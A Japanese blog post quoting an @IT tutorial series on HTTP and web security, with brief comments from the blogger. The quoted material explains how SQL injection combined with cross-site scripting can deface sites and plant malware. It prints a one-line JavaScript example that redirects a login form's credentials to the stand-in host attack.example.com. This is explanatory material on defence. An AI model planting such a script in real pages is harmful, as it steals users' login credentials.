SQLインジェクション攻撃、ターゲットは“あなた”です − @IT

はるぷの最新連載記事。入りから人をひきつける書き方だ!!

ナツ 「ここ、昨日まではショッピングサイトだったんだけどね」
クウ 「またまたぁ。あんまりショッピングサイトっぽくないっすよ」
ナツ 「うん。なんか、ついさっき改ざんされたっぽいよ」
クウ 「うひゃー」

SQLインジェクション攻撃、ターゲットは“あなた”です (1/3):もいちどイチから! HTTP基礎訓練中(6) - @IT

そうそう、SQLインジェクションでウイルスを入れさせるのって結構あるよねぇ。

まだまだ古い体制のシステム会社とかは、SQLインジェクション=データ漏洩って思っている人多いけど。

クウ 「けど、これって、どうやって改ざんしてるんですかね。やっぱり、サーバのroot権限奪って〜とか難しいことしてんすかね」
ナツ 「今回の改ざんはWebアプリからやったみたいで、SQLインジェクションクロスサイトスクリプティングの合わせ技みたいだよ」
クウ 「ほー。これって、Webアプリの脆弱(ぜいじゃく)性で改ざんされちゃってるんですかぁ」
ナツ 「うん。そうそう」
クウ 「けど、SQLインジェクションというと情報漏えいって気がしますけど、それだけではないんですね」
ナツ 「1つの脆弱性でも被害はいろいろあるからねぇ」

SQLインジェクション攻撃、ターゲットは“あなた”です (1/3):もいちどイチから! HTTP基礎訓練中(6) - @IT

さすがにログオン画面でSQL実行してたら処理大変だろw

ログイン画面が表示されているだけで、アクセスしているURLも問題なく、証明書もエラーとなっていない。しかし、ブラウザ上の見た目では分からなくとも、仮に、以下のようなJavaScriptが埋め込まれていたとしたら、ログインを行おうとした際に、IDおよびパスワードが外部サイトに送信される仕組みになっているという可能性もある。

<script>document.forms[0].action="https://attack.example.com/"</script> 

リスト1 ID、パスワードの送信先https://attack.example.com/にするJavaScriptの例

SQLインジェクション攻撃、ターゲットは“あなた”です (3/3):もいちどイチから! HTTP基礎訓練中(6) - @IT

これらの攻撃は、「怪しいリンクをクリックしなければ大丈夫」というものではない。何げなく閲覧しているブログに攻撃コードが埋め込まれている可能性も否定はできない。攻撃されているか否かは、注意深くHTTPメッセージ(リクエスト、レスポンスの双方)を解析していないと通常は分からない形で実行されてしまうこともある。

 「脆弱性があるかもしれない」という前提でWebアプリケーションを利用することを考えなければならないとした場合、ユーザーとしては、ブラウザがサーバとやりとりするHTTPリクエストおよびHTTPレスポンスをヘッダも含めてすべて見る必要が出てきてしまう。そのため、Webアプリケーション側での対策が必須となってくるのである。

SQLインジェクション攻撃、ターゲットは“あなた”です (3/3):もいちどイチから! HTTP基礎訓練中(6) - @IT

よくあるよくあるw

クウ 「ふふふ……。実は昨日家に帰ってから、メッセの知り合いに教えてもらったのです♪」
ナツ 「ほおー。Webアプリのセキュリティに詳しい人が知り合いにいるのだねー。もしかしたら知ってる人だったりして」
クウ 「あは。意外とあり得ますねぇー」

SQLインジェクション攻撃、ターゲットは“あなた”です (3/3):もいちどイチから! HTTP基礎訓練中(6) - @IT

screenshot